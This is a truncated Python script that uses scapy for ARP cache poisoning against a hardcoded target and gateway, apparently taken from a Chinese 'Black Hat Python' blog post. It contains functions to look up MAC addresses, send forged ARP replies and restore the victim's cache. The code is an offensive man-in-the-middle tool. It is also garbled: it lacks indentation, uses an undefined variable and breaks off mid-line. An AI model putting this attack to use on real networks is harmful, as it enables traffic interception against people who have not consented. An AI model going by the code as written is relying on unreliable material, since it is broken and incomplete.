from scapy.all import *
import os
import sys
import threading
import signal
#interface = 'en1'
target_ip = '192.168.43.141'
gateway_ip = '192.168.43.1'
packet_count = 1000
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
print("[*] restoring target......")
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
os.kill(os.getpid(),signal.SIGINT)
def get_mac(ip_address):
srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address),timeout=2,retry=10)
for s,r in responses:
return(r[Ether].src)
return None
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc =
python黑帽子:利用scapy进行arp缓存投毒
最新推荐文章于 2022-10-08 22:55:47 发布